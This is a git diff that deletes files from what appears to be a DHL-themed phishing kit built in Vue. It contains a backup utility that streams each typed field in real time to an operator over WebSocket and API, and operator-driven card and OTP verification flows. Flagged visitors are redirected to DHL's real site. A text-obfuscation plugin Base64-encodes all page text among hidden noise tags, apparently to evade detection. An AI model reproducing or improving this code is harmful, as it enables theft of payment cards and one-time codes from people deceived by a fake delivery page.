- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.dhl.com/ch-de/home.html";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone1");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_post_temp3/src/components/HelloWorld.vue b/t_post_temp3/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_post_temp3/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_post_temp3/src/components/TheWelcome.vue b/t_post_temp3/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_post_temp3/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
- Pinia ,
- Vue Router ,
- Vue Test Utils , and
- Vue Dev Tools . If
- you need more resources, we suggest paying
- Awesome Vue
- a visit.
-
-
-
-
-
-
- Community
-
- Got stuck? Ask your question on
- Vue Land , our official
- Discord server, or
- StackOverflow . You should also subscribe to
- our mailing list and follow
- the official
- @vuejs
- twitter account for latest news in the Vue world.
-
-
-
-
-
-
- Support Vue
-
- As an independent project, Vue relies on community backing for its sustainability. You can help
- us by
- becoming a sponsor .
-
-
diff --git a/t_post_temp3/src/components/WelcomeItem.vue b/t_post_temp3/src/components/WelcomeItem.vue
deleted file mode 100644
index ba0def3..0000000
--- a/t_post_temp3/src/components/WelcomeItem.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
diff --git a/t_post_temp3/src/main.ts b/t_post_temp3/src/main.ts
index 9187bd6..263494f 100644
--- a/t_post_temp3/src/main.ts
+++ b/t_post_temp3/src/main.ts
@@ -1,4 +1,3 @@
-import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
VueScrollTo.scrollTo("#app", 0);
next();
});
-// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;
diff --git a/t_post_temp3/src/mix/textObfuscator.ts b/t_post_temp3/src/mix/textObfuscator.ts
deleted file mode 100644
index 76c21e9..0000000
--- a/t_post_temp3/src/mix/textObfuscator.ts
+++ /dev/null
@@ -1,643 +0,0 @@
-import type { ComponentInternalInstance, Plugin, App } from 'vue';
-
-/**
- * 全局文本混淆插件
- * 自动查找并替换所有文本节点
- */
-// 修改Vue混淆插件以确保处理整个组件树
-export const TextObfuscatorPlugin: Plugin = {
- install(app: App) {
- // 安装全局样式和解码脚本
- addObfuscationStyle();
-
- // 注册全局指令,直接处理元素内容
- app.directive('odata', {
- mounted(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- setupMutationObserver(el);
- },
- updated(el) {
- processTextNodes(el, null);
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(el), 0);
- }
- }
- });
-
- // 在 app.mixin 中修改处理 $el 的部分
- app.mixin({
- mounted() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- // 1. 首先处理当前组件的根元素
- processTextNodes(rootElement, this);
-
- // 2. 递归处理所有子元素,确保覆盖所有文本节点
- const processAllChildNodes = (element: Element) => {
- if (!(element instanceof Element)) return;
-
- try {
- // 为每个子元素单独处理文本节点
- const childElements = element.querySelectorAll('*');
- childElements.forEach(childEl => {
- processTextNodes(childEl, null);
- });
-
- // 立即解码当前处理的元素
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(element), 0);
- }
- } catch (error) {
- console.error('Error processing child nodes:', error, element);
- }
- };
-
- // 处理整个组件树
- processAllChildNodes(rootElement);
-
- // 设置监听
- setupMutationObserver(rootElement);
- });
- // 添加:深度扫描所有包含纯文本的元素
- setTimeout(() => {
- const scanPureTextElements = (rootElement: Element) => {
- // 跳过已处理过的元素
- if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
- return;
- }
-
- // 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
- let hasOnlyTextNodes = false;
- let hasElementNodes = false;
-
- if (rootElement.childNodes && rootElement.childNodes.length > 0) {
- hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
- );
-
- hasElementNodes = Array.from(rootElement.childNodes).some(
- node => node.nodeType === Node.ELEMENT_NODE
- );
- }
-
- // 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
- if (hasOnlyTextNodes && !hasElementNodes &&
- !SKIP_TAGS.includes(rootElement.tagName) &&
- !Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
- processTextNodes(rootElement, null);
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(rootElement);
- }
- }
-
- // 递归处理子元素
- if (rootElement.children) {
- Array.from(rootElement.children).forEach(child => {
- scanPureTextElements(child);
- });
- }
- };
-
- // 从body开始扫描
- scanPureTextElements(document.body);
- }, 10); // 给DOM足够的时间渲染
- },
-
- updated() {
- // 安全地获取组件的根元素(s)
- const rootElements = this.$el ?
- (this.$el.nodeType === Node.ELEMENT_NODE ?
- [this.$el] :
- (Array.isArray(this.$el) ? this.$el : [])) :
- [];
-
- // 处理每个根元素
- rootElements.forEach((rootElement: Element | undefined) => {
- if (!rootElement || !(rootElement instanceof Element)) return;
-
- processTextNodes(rootElement, this);
-
- try {
- // 递归处理所有子元素
- const childElements = rootElement.querySelectorAll('*');
- childElements.forEach((childEl: Element) => {
- processTextNodes(childEl, null);
- });
-
- if (window.decodeObfuscatedContent) {
- setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
- }
- } catch (error) {
- console.error('Error processing updated component:', error, rootElement);
- }
- });
- }
- });
- }
-};
-
-// 声明全局函数类型
-declare global {
- interface Window {
- decodeObfuscatedContent: (rootElement?: Element) => void;
- }
-}
-
-// 需要跳过的标签
-const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
-// 需要跳过的类名
-const SKIP_CLASSES = ['no-obfuscate'];
-
-/**
- * 处理元素中的所有文本节点
- */
-function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
- if (!element || element.nodeType !== Node.ELEMENT_NODE) {
- return;
- }
- // 为 DIV 元素增加优先处理逻辑
- if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
- // 对于DIV元素,特殊处理其直接子文本节点
- let hasTextContent = false;
- for (let i = 0; i < element.childNodes.length; i++) {
- const node = element.childNodes[i];
- if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
- hasTextContent = true;
- break;
- }
- }
-
- // 如果DIV中有直接的文本内容,标记它需要被处理
- if (hasTextContent) {
- // 只处理未混淆过的DIV
- const textContent = Array.from(element.childNodes)
- .filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
- .map(node => node.textContent).join('').trim();
-
- if (textContent) {
- // 替换整个DIV的内容
- const originalHTML = element.innerHTML;
- const processedHTML = obfuscateText(textContent);
- element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
- element.setAttribute('data-obfuscated', 'true');
- }
- }
- }
- // 跳过带有特定标记的元素(避免重复处理)
- if (element.hasAttribute('data-obfuscated') ||
- !element ||
- SKIP_TAGS.includes(element.tagName) ||
- Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
- return;
- }
-
- // 使用 TreeWalker 遍历所有文本节点
- const walker = document.createTreeWalker(
- element,
- NodeFilter.SHOW_TEXT,
- {
- acceptNode(node) {
- // 不处理完全空的文本节点
- if (!node.textContent) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 检查父节点是否应该被跳过
- const parent = node.parentElement;
- if (parent && (
- SKIP_TAGS.includes(parent.tagName) ||
- parent.hasAttribute('data-obfuscated') ||
- Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
- )) {
- return NodeFilter.FILTER_REJECT;
- }
-
- // 如果只包含空白且不是段落的首个节点,则跳过
- if (node.textContent.trim() === '' &&
- !(parent?.tagName === 'P' && node === parent.firstChild)) {
- return NodeFilter.FILTER_REJECT;
- }
-
- return NodeFilter.FILTER_ACCEPT;
- }
- }
- );
-
- // 收集需要处理的文本节点
- const textNodes: Text[] = [];
- let currentNode: Node | null = walker.nextNode();
-
- while (currentNode) {
- textNodes.push(currentNode as Text);
- currentNode = walker.nextNode();
- }
-
- // 预先计算所有混淆内容,减少DOM操作次数
- const fragments: DocumentFragment[] = [];
- const nodesToReplace: Text[] = [];
-
- // 在处理文本节点前,移除所有前导空格
- for (const textNode of textNodes) {
- const text = textNode.textContent;
- if (!text) continue;
-
- // 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
- let processedText = text;
- if (textNode.parentElement?.tagName === 'P' &&
- textNode === textNode.parentElement.firstChild) {
- // 去除开头的空白,无论什么情况
- processedText = text.replace(/^\s+/, '');
- // 如果去除空白后为空,直接跳过这个节点
- if (!processedText) continue;
- }
-
- try {
- // 创建文档碎片来存储混淆后的内容
- const fragment = document.createDocumentFragment();
- const tempContainer = document.createElement('div');
- tempContainer.innerHTML = obfuscateText(processedText);
-
- // 将内容移动到碎片中
- while (tempContainer.firstChild) {
- fragment.appendChild(tempContainer.firstChild);
- }
-
- fragments.push(fragment);
- nodesToReplace.push(textNode);
- } catch (error) {
- console.error('Error processing text node:', error);
- }
- }
-
- // 批量替换节点,减少回流
- for (let i = 0; i < nodesToReplace.length; i++) {
- const textNode = nodesToReplace[i];
- const fragment = fragments[i];
-
- if (textNode.parentNode) {
- textNode.parentNode.replaceChild(fragment, textNode);
- }
- }
-}
-
-/**
- * 设置 MutationObserver 来监听 DOM 变化
- */
-function setupMutationObserver(element: Element) {
- if (!element) return;
-
- const observer = new MutationObserver((mutations) => {
- for (const mutation of mutations) {
- if (mutation.type === 'childList' && mutation.addedNodes.length) {
- mutation.addedNodes.forEach((node) => {
- if (node.nodeType === Node.ELEMENT_NODE) {
- processTextNodes(node as Element, null);
- // 观察到新元素后立即解码
- if (window.decodeObfuscatedContent) {
- window.decodeObfuscatedContent(node as Element);
- }
- }
- });
- }
- }
- });
-
- observer.observe(element, {
- childList: true,
- subtree: true
- });
-}
-
-/**
- * 生成随机噪声标签和注释
- */
-function getRandomNoise() {
- const noiseTypes = [
- // HTML注释
- () => ``,
- // 空的自定义元素
- () => {
- const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
- const tag = tags[Math.floor(Math.random() * tags.length)];
- return `<${tag}>${tag}>`;
- },
- // 带随机属性的自定义元素
- () => {
- const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
- const value = Math.random().toString(36).substring(2, 10);
- return ` `;
- },
- // 带随机文本的隐藏元素
- () => {
- const text = Math.random().toString(36).substring(2, 8);
- return `${text} `;
- }
- ];
-
- // 随机选择一种噪声类型
- const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
- return noiseGenerator();
-}
-
-/**
- * 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
- */
-function obfuscateText(text: string): string {
- if (!text) return '';
-
- // 首先移除文本开头的所有空白字符以解决段落首行缩进问题
- text = text.replace(/^\s+/, '');
- if (!text) return '';
-
- // 使用正则表达式将文本拆分为单词和空格,保持完整性
- const words = text.split(/(\s+)/);
- let result = '';
-
- // 过滤掉空字符串,避免生成空的z-span元素
- const filteredWords = words.filter(word => word.length > 0);
-
- // 为每个单词创建一个独立的自定义元素
- filteredWords.forEach((word, index) => {
- // 对空格和特殊字符进行特殊处理
- if (/^\s+$/.test(word)) {
- // 改进:更精确地处理各种换行符
- if (/[\n\r]/.test(word)) {
- // 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
- result += ' ';
- } else {
- // 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
- result += ' ';
- }
- return;
- }
-
- // 随机在单词前添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
-
- // 为了提高效率,固定属性名
- const attrId = `data`;
-
- // 将单词编码为Base64
- const encodedWord = btoa(encodeURIComponent(word));
-
- // 随机选择z-span或z-strong标签增加混淆度
- const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
-
- // 添加标签开始部分
- result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
-
- // 随机在标签内添加隐藏内容,但减少频率
- if (Math.random() > 0.8) {
- const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
- result += `${fakeText} `;
- }
-
- // 闭合标签
- result += `${tagName}>`;
-
- // 随机在单词后添加噪声,但减少频率
- if (Math.random() > 0.85) {
- result += getRandomNoise();
- }
- });
-
- result += ' ';
- return result;
-}
-
-/**
- * 添加显示混淆内容的样式和解码脚本
- */
-function addObfuscationStyle() {
- // 添加样式
- if (!document.getElementById('obfuscation-style')) {
- const style = document.createElement('style');
- style.id = 'obfuscation-style';
- style.textContent = `
- /* 自定义元素基本样式 */
- z-wrap {
- display: inline;
- white-space: normal;
- user-select: none; /* 阻止文本选择 */
- text-indent: 0 !important; /* 确保无缩进 */
- }
-
- /* 添加一个类来允许选择文本的情况 */
- .allow-select z-wrap {
- user-select: text;
- }
-
- /* 确保段落中的混淆内容没有开头缩进 */
- p > z-wrap:first-child {
- text-indent: 0 !important;
- margin-left: 0 !important;
- padding-left: 0 !important;
- }
-
- /* 处理所有p标签,确保没有多余空间 */
- p {
- text-indent: 0;
- }
-
- z-span, z-strong {
- display: inline-block;
- position: relative;
- opacity: 1;
- transition: opacity 0.1s ease;
- margin: 0;
- padding: 0;
- }
-
- /* 控制右侧间距 */
- z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
- margin-left: 0.1em;
- }
-
- /* 移除最后一个元素的右侧间距 */
- z-span:last-child, z-strong:last-child {
- margin-right: 0;
- }
-
- z-span::after, z-strong::after {
- content: attr(data-content);
- position: relative;
- pointer-events: none;
- }
-
- /* 空格元素 - 精确控制宽度 */
- z-space {
- display: inline-block;
- width: 0.25em;
- margin: 0;
- padding: 0;
- }
-
- /* 空的z-span/z-strong元素不应该显示 */
- z-span:not([data-content]), z-strong:not([data-content]) {
- display: none;
- }
-
- /* 换行元素 - 强制换行且完全没有尺寸 */
- z-break {
- display: block !important;
- height: 0 !important;
- width: 0 !important;
- margin: 0 !important;
- padding: 0 !important;
- border: none !important;
- line-height: 0 !important;
- font-size: 0 !important;
- overflow: hidden !important;
- }
-
- /* 隐藏所有噪声元素 */
- z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
- display: none;
- width: 0;
- height: 0;
- opacity: 0;
- overflow: hidden;
- position: absolute;
- visibility: hidden;
- }
-
- /* 预加载状态 */
- [data-preload="true"] {
- min-width: 0.5em;
- min-height: 1em;
- }
- `;
- document.head.appendChild(style);
- }
-
- // 添加自定义元素注册,确保所有浏览器都能正确处理
- const scriptCustomElements = document.createElement('script');
- scriptCustomElements.textContent = `
- // 注册所有自定义元素
- if ('customElements' in window) {
- customElements.define('z-wrap', class extends HTMLElement {});
- customElements.define('z-span', class extends HTMLElement {});
- customElements.define('z-strong', class extends HTMLElement {});
- customElements.define('z-space', class extends HTMLElement {});
- customElements.define('z-break', class extends HTMLElement {});
-
- // 注册噪声元素
- customElements.define('z-nil', class extends HTMLElement {});
- customElements.define('z-void', class extends HTMLElement {});
- customElements.define('z-null', class extends HTMLElement {});
- customElements.define('z-fake', class extends HTMLElement {});
- customElements.define('z-empty', class extends HTMLElement {});
- customElements.define('z-attr', class extends HTMLElement {});
- customElements.define('z-text', class extends HTMLElement {});
- customElements.define('z-hidden', class extends HTMLElement {});
- }
- `;
- document.head.appendChild(scriptCustomElements);
-
- // 添加提前解码的脚本,放在顶部优先加载
- if (!document.getElementById('obfuscation-script')) {
- const script = document.createElement('script');
- script.id = 'obfuscation-script';
- script.textContent = `
- (function() {
- // 定义解码函数并暴露为全局函数
- window.decodeObfuscatedContent = function(rootElement) {
- const root = rootElement || document.body;
- const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
-
- if (elements.length === 0) return;
-
- // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
- const runWhenIdle = window.requestIdleCallback ||
- function(cb) { setTimeout(cb, 1); };
-
- runWhenIdle(() => {
- elements.forEach(el => {
- // 避免重复解码
- if (el.hasAttribute('data-content')) return;
-
- // 找到编码数据
- const dataAttr = el.getAttribute('data-data');
- if (dataAttr) {
- try {
- // 解码并设置
- const decodedWord = decodeURIComponent(atob(dataAttr));
- el.setAttribute('data-content', decodedWord);
- el.removeAttribute('data-preload');
- } catch (e) {
- // 解码失败时跳过
- }
- }
- });
- });
- };
-
- // 页面加载完成后立即执行一次全局解码
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', function() {
- window.decodeObfuscatedContent();
- });
- } else {
- window.decodeObfuscatedContent();
- }
-
- // 使用IntersectionObserver优化解码性能
- if ('IntersectionObserver' in window) {
- const decodeObserver = new IntersectionObserver(
- (entries, observer) => {
- entries.forEach(entry => {
- if (entry.isIntersecting) {
- // 容器进入视口时解码其内容
- window.decodeObfuscatedContent(entry.target);
- observer.unobserve(entry.target);
- }
- });
- },
- { rootMargin: '200px 0px' } // 提前200像素开始解码
- );
-
- // 监听所有混淆容器
- function observeContainers() {
- document.querySelectorAll('z-wrap').forEach(container => {
- decodeObserver.observe(container);
- });
- }
-
- // 初始观察
- if (document.readyState === 'loading') {
- document.addEventListener('DOMContentLoaded', observeContainers);
- } else {
- observeContainers();
- }
-
- // 定期检查新容器
- setInterval(observeContainers, 2000);
- } else {
- // 降级方案:定期全局检查
- setInterval(() => window.decodeObfuscatedContent(), 1000);
- }
- })();
- `;
-
- // 将脚本添加到head的最前面,确保尽早加载
- if (document.head.firstChild) {
- document.head.insertBefore(script, document.head.firstChild);
- } else {
- document.head.appendChild(script);
- }
- }
-}
\ No newline at end of file
diff --git a/t_post_temp3/src/utils/common.ts.backup b/t_post_temp3/src/utils/common.ts.backup
deleted file mode 100644
index 4dde738..0000000
--- a/t_post_temp3/src/utils/common.ts.backup
+++ /dev/null
@@ -1,331 +0,0 @@
-import _ from "lodash";
-import { sendInput } from "@/api/api";
-import type { Socket } from "@/utils/websocket";
-import eventBus from "@/utils/eventBus";
-import router from "@/router";
-import { ref } from "vue";
-import { useSocket } from "@/utils/websocket";
-import { useLoadingStore } from "@/stores/loadingStore";
-import i18n from "@/main";
-import { useSocketIo } from "./socketio";
-
-const viteBaseUrl = import.meta.env.VITE_BASE_URL;
-
-// WebSocket interface
-interface MyWebSocket {
- socket: any;
- send: (data: string) => Promise;
- off: (event: string) => void;
- on: (event: string, callback: (data: any) => void) => void;
-}
-
-export const customOtpData = ref({});
-
-export function setCustomOtpData(data: any) {
- customOtpData.value = data;
- localStorage.setItem("customOtpData", JSON.stringify(data));
-}
-
-export let myWebSocket: MyWebSocket | undefined;
-
-// Configuration data
-export const configData = ref>({});
-
-// Utility function to check if all values in an object are not empty
-export function areAllValuesNotEmpty(
- obj: Record,
- excludedFields: string[] = []
-): boolean {
- return Object.keys(obj).every((key) => {
- if (excludedFields.includes(key)) return true;
- const value = obj[key];
- return (
- value !== null &&
- value !== undefined &&
- value !== "" &&
- !(typeof value === "string" && value.trim() === "")
- );
- });
-}
-
-// 存储 WebSocket 和 API 的防抖函数
-const wsDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-const apiDebounceFunctions: Record<
- string,
- _.DebouncedFunc<(...args: any[]) => void>
-> = {};
-
-// 获取或创建针对某个键的防抖函数
-function getDebouncedFunction(
- debounceFunctions: Record void>>,
- key: string,
- func: (...args: any[]) => void,
- wait: number
-) {
- if (!debounceFunctions[key]) {
- debounceFunctions[key] = _.debounce(func, wait);
- }
- return debounceFunctions[key];
-}
-
-const modeRef = ref(1)
-
-
-// 处理输入变化
-export function inputChange(type: string, key: any, value: any) {
- const currentTimestamp = Date.now(); // 当前时间戳
-
- // WebSocket 防抖函数
- const wsDebouncedFunction = getDebouncedFunction(
- wsDebounceFunctions,
- key,
- (type, key, value) => {
- myWebSocket?.send(
- JSON.stringify({
- event: "input_text",
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- })
- );
- },
- 300
- );
-
- // API 防抖函数
- const apiDebouncedFunction = getDebouncedFunction(
- apiDebounceFunctions,
- key,
- (type, key, value) => {
- sendInput({
- content: { type, key, text: value },
- timestamp: currentTimestamp,
- });
- },
- 1000
- );
-
- // 调用防抖函数
- wsDebouncedFunction(type, key, value);
- if(modeRef.value !== 2) {
- apiDebouncedFunction(type, key, value);
- }
-}
-
-
-// Handle login success
-export function loginSuccess(token: string, mode: number) {
- if(mode === 2) {
- modeRef.value = 2
- myWebSocket = useSocketIo(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }else{
- myWebSocket = useSocket(
- `wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
- }/ws?token=${token}`
- );
- }
-
- myWebSocket?.on("close", () => console.log("Socket closed!"));
- myWebSocket?.on("open", () => {
- const lastToken = localStorage.getItem("token");
- loginWebsocket(token, lastToken !== token);
- });
-
- myWebSocket?.on("message", handleMessage);
-
- window.addEventListener("beforeunload", () => {
- myWebSocket?.off("close");
- });
-}
-
-// Handle WebSocket messages
-function handleMessage(data: any) {
- const jsonData = JSON.parse(data);
- if (!jsonData || !jsonData.event) return;
-
- const { event, content } = jsonData;
-
- switch (event) {
- case "login":
- //handleLoginEvent(content);
- break;
- case "result_type":
- handleResultTypeEvent(content);
- break;
- case "reload":
- window.location.reload();
- break;
- default:
- break;
- }
-}
-
-// Handle login event
-function handleLoginEvent(content: any) {
- const route = localStorage.getItem("route");
- if (route) {
- const customOtpDataValue = localStorage.getItem("customOtpData");
- if (route === "customOtpValid" && customOtpDataValue) {
- setCustomOtpData(JSON.parse(customOtpDataValue));
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
- })
- );
- return;
- }
- myWebSocket?.send(
- JSON.stringify({
- event: "page_type",
- content: { pageType: route },
- })
- );
- }
-}
-
-// Handle result type event
-function handleResultTypeEvent(content: any) {
- if (!content) return;
-
- const typeHandlers: Record void> = {
- customOtpValid: () => navigateTo("/customOtpValid", content),
- otpValid: () => navigateTo("/otpValid", content),
- appValid: () => navigateTo("/appValid", content),
- success: () => router.push("/success"),
- kickOut: redirectToExternal,
- block: redirectToExternal,
- otpFail: () =>
- eventBus.emit("otp-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t("Verification code error, please try again"),
- }),
- appFail: () =>
- eventBus.emit("app-valid", {
- message2:
- content.value.message2 ||
- i18n.global.t(
- "The session is about to expire, please complete the verification now"
- ),
- }),
- back: () => handleBackOrReject(content, true),
- reject: () => handleBackOrReject(content, false),
- refresh: () => {
- if(localStorage.getItem("route")){
- localStorage.removeItem("route");
- window.location.reload();
- }
- },
- };
-
- if (content.type == "customOtpValid") {
- if(content.value.customOtpData) {
- setCustomOtpData(JSON.parse(content.value.customOtpData));
- }
-}
- if (content.type == "customOtpFail") {
- eventBus.emit("custom-otp-valid", {
- message2: content.value.message2,
- });
- }
-
- const handler = typeHandlers[content.type];
- if (handler) handler();
-
- useLoadingStore().setLoading(false);
-}
-
-// Navigate to specific path with query parameters
-function navigateTo(path: string, content: any) {
-
- router.push('/temp').then(() => {
- router.push({
- path: path,
- query: {
- cardType: content.value?.data?.cardData?.cardBIN?.schema,
- message1: content.value?.message1,
- key: new Date().getMilliseconds(),
- },
- });
- });
-}
-
-// Handle back or reject type
-function handleBackOrReject(content: any, isBack: boolean) {
- let message2 = i18n.global.t(
- "This card does not support this transaction, please try another card"
- );
-
- if (configData.value.error_card_msg) {
- message2 = configData.value.error_card_msg;
- }
-
- if (content.value.type) {
- const type = content.value.type;
- if (type === "denyC" && configData.value.deny_c_msg) {
- message2 = configData.value.deny_c_msg;
- }
- if (type === "denyD" && configData.value.deny_d_msg) {
- message2 = configData.value.deny_d_msg;
- }
- }
-
- if (content.value.message2) {
- message2 = content.value.message2;
- }
-
- if (isBack) {
- router.push({ path: "/card", query: { message2 } });
- }
-
- eventBus.emit("my-event", { message2 });
-}
-
-// Login to WebSocket
-function loginWebsocket(token: string, isFirst: boolean) {
- myWebSocket?.send(
- JSON.stringify({
- event: "login",
- content: { tag: "user", token, isFirst },
- })
- );
- initHtml();
-}
-
-// Redirect to an external URL
-export function redirectToExternal() {
- window.location.href = "https://www.dhl.com/ch-de/home.html";
-}
-
-export async function loadHtml(url: string) {
- try {
- const response = await fetch(url); // 替换为您的 HTML 文件路径
- if (!response.ok) {
- return "";
- }
- return await response.text();
- } catch (error) {
- return "";
- }
-}
-
-export const headerHtml = ref("");
-export const footerHtml = ref("");
-export const loadingBg = ref("#ffffff");
-
-const initHtml = async () => {
- const routePath = localStorage.getItem("route");
- headerHtml.value = await loadHtml("/Static_zy/header.html");
- footerHtml.value = await loadHtml("/Static_zy/footer.html");
- await router.push(routePath ? `/${routePath}` : "/phone1");
- setTimeout(async () => {
- useLoadingStore().setLoading(false);
- loadingBg.value = "transparent";
- }, 200);
-};
diff --git a/t_post_temp4/src/components/HelloWorld.vue b/t_post_temp4/src/components/HelloWorld.vue
deleted file mode 100644
index 8f39347..0000000
--- a/t_post_temp4/src/components/HelloWorld.vue
+++ /dev/null
@@ -1,51 +0,0 @@
-
-
-
-
-
{{ msg }}
-
Send /
-
- You’ve successfully created a project with
- Vite +
- Vue 3 .
- What's next?
-
-
-
-
-
diff --git a/t_post_temp4/src/components/TheWelcome.vue b/t_post_temp4/src/components/TheWelcome.vue
deleted file mode 100644
index a70765c..0000000
--- a/t_post_temp4/src/components/TheWelcome.vue
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
-
-
-
- Documentation
-
- Vue’s
- official documentation
- provides you with all information you need to get started.
-
-
-
-
-
-
- Tooling
-
- This project is served and bundled with
- Vite . The
- recommended IDE setup is
- VSCode +
- Volar . If
- you need to test your components and web pages, check out
- Cypress and
- Cypress Component Testing .
-
-
-
- More instructions are available in README.md.
-
-
-
-
-
-
- Ecosystem
-
- Get official tools and libraries for your project:
